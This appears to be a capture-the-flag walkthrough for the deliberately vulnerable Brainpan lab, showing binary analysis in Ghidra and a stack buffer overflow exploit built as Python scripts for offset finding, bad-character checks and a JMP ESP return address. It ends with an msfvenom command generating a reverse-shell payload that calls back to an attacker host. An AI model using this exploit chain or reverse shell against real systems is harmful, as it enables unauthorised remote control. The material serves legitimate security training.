Let's down the executable and start enumeration on the file
first, let's move the brainpan.exe into our working directory
cp /home/kali/Downloads/brainpan.exe .
we need to know what kind of file we are enumerating
file brainpan.exe
we can see we are working with a windows 32bit executable
Lets run strings to pick up any string within the binary
strings brainpan.exe
that seems like an odd string, could it be a password?
Lets see, we can use netcat to attempt a connection at port 9999 with the password shitstorm
nc 10.10.28.147 9999
we have the right password but we have no functionality after we pass it through
Let's use wine, what is wine ?
Wine is a tool that allows us to run on a Unix-like operating system to create a compatible layer that allows us to run Windows applications, wine enables users to run a wide range of Windows software directly from a Linux machine
For us, this means we can run the 32bit windows executable from our kali machine
for installation purposes we need to do the following from our root console
Now we can connect to the executable from our local host
nc 127.0.0.1 9999
after we enter the password we dont get any further functionality
Let's open the executable using ghidra
ghidra
we can import our brainpan.exe through the file -> Import File
Once the file is loaded into ghidra we can double click it in the window
Once we open the file through ghidra we will see a message asking if we want to analyze it, and yes we should, just to get further information on the file
when prompted just click the analyze button
Now the first thing we want to check out would be the functions tab on the left of the window
within the functions tab, we should check out what consists of the _main function
Looking within the reconstructed code to the right of the window, we can see
1local_414 = _get_reply(local_3fc);
this seems interesting and if we look further within the _get_reply function we can see
we can see within this function we are passing through param1 (most likely the password)
Then the system function _strcpy to coping our param1 to local_20c
This indeed could be vulnerable to a buffer overflow since there is no check on the amount of characters that can be passed through
also there is a string comparison _strcmp that compares the variable local_20c which holds the value of param1 (the password being passed through) to the password string shitstorm
we can also tell from the char local_20c [520]; that the variable local_20c has a buffer size of 520
Now what we can do is bring the executable up using Wine again on our local machine and start building our buffer overflow exploit
sudo wine brainpan.exe
now from another terminal window, we can use python3 and netcat to send characters through the password prompt and find the buffer limit
Lets move over to a Windows VM running the Immunity debugger
a quick way to transfer the brainpan.exe file is using a Python server in the Kali machine and navigating through the Windows internet browser and downloading the file
Once we are one our Windows machine and we have brainpan.exe downloaded we want to run brainpan.exe and run the immunity debugger with administrative privileges
once they are running, in the immunity debugger we click file -> attach -> click brainpan -> attach
this will bring up the brainpan.exe in a paused state we want to change this to run the program by clicking
Now from our kali vm, we can interact with the program, for now, let's build a Python script
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = "A" * 100
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
when we run our python script
python3 fuzzer.py 192.168.234.136 9999
after running our script we can see the application crashed at 1000 bytes
and if we look at the immunity debugger we can see
we can see we have overwritten the EIP and the EVP
Now we need to work out at which point the EIP is being written over, so we can modify the pointer in which we can point it at something malcious
Now we want to close the immunity debugger and then start it back up along with our brainpan application, we want to work out where exactly where the EIP is being overwritten
in our kali machine we are going to utilize a tool through msf called msf-pattern_create since we know the application crashed at 1000 bytes we specify we want to generate 1000 characters
msf-pattern_create -l 1000
Now we are going to modify our Python script
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
running the script
python3 fuzzer.py 192.168.234.136 9999
when we look back in the immunity debugger we can see that EIP has now 35724134
With this we are going to use msf-pattern_offset
msf-pattern_offset -l 1000 -q 35724134
and we can see
what this mean is the EIP is at 524 byte
to confirm this lets edit our python script again
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = 'A' * 524 + 'B' * 4
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
self.buffer = 'A' * 524 Will lead us to the EIP
'B' * 4 then we should see 42424242 within the EIP
running our script again
python3 fuzzer.py 192.168.234.136 9999
we can see we have successfully overwritten the EIP
Now for the next step we are going to look for bad characters in this
for this we can use the following repo
Now we are going to modify the Python script again
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = 'A' * 524 + 'B' * 4
self.badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + self.badchars + '\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload.encode())
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
restart our immunity debugger again same as before now lets run our python script again
Now within immunity debugger we want to checkout the ESP, right click and follow in dump
then if we look within the bottom left of the windows we should see the dumped contents
when we look at the dumped contents we can see it start at 01 and follows up in the same order as our badchars
our main goal here is to find any bad characters here but further inspection proves there are not
for our next step we are going to need mona modules
follow the installation
run immunity debugger and brainpan again
Now at the bottom of immunity debugger we can type
!mona modules
we can also see False across the board for any protection brainpan may have had
lets check if we can find a return address, we can use Mona for this
!mona find -s "\xff\xe4" -m brainpan.exe
now \xff\xe4 is our JMB esp instruction, meaning our jump code
we want to search for a jump, which we find at 0x311712f3
Now we can follow the expression by clicking
then enter the jmp code
we can see the jmp code sets here
Now we can set a breakpoint at this location, press f2 to set a breakpoint
were just going to set a breakpoint to ensure that we can trigger this breakpoint
Now we are going to write this backwards
back in our python script
import sys
import socket
from time import sleep
class Fuzzer:
def __init__(self, target_IP, target_Port):
self.target_IP = target_IP
self.target_Port = target_Port
self.buffer = b"A" * 524 + b"\xf3\x12\x17\x31"
def fuzz(self):
while True:
try:
# prepare the payload by appending '\r\n' to the buffer
payload = self.buffer + b'\r\n'
# create a new socket and connect to the target ip and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target_IP, self.target_Port))
# display the length of the current buffer being sent as the payload
print(f"[+] Sending payload \n{str(len(self.buffer))}")
# send the payload to the target as bytes
s.send(payload)
# close the socket connection
s.close()
# add delay of 1 second before sending another payload
#sleep(1)
# increment the buffer by adding 100 "A" characters for the next interation
#self.buffer = self.buffer + 'A' * 100
except:
# if an exception occurs, the fuzzer likely crashed, and we exit the program
print(f"Fuzzer crashed at {str(len(self.buffer))}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("fuzzer.py ip port")
sys.exit(1)
target_IP = sys.argv[1]
target_Port = int(sys.argv[2])
fuzzer = Fuzzer(target_IP, target_Port)
fuzzer.fuzz()
once we run the script, we can look back at our immunity debugger and well see that we had hit a breakpoint
from the above, we can see that we are hitting the exception, we are hitting the jmp ESP, which is good
Now we can close the immunity debugger and run brainpan as administrator
Now we are going to generate a malicious shellcode using msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.14.45.1 LPORT=9001 -b "\x00" -f c
I kept running into problems while running the Python script against the windows vm running brainpan, so i directed my energy on tackling the actual application running through Linux server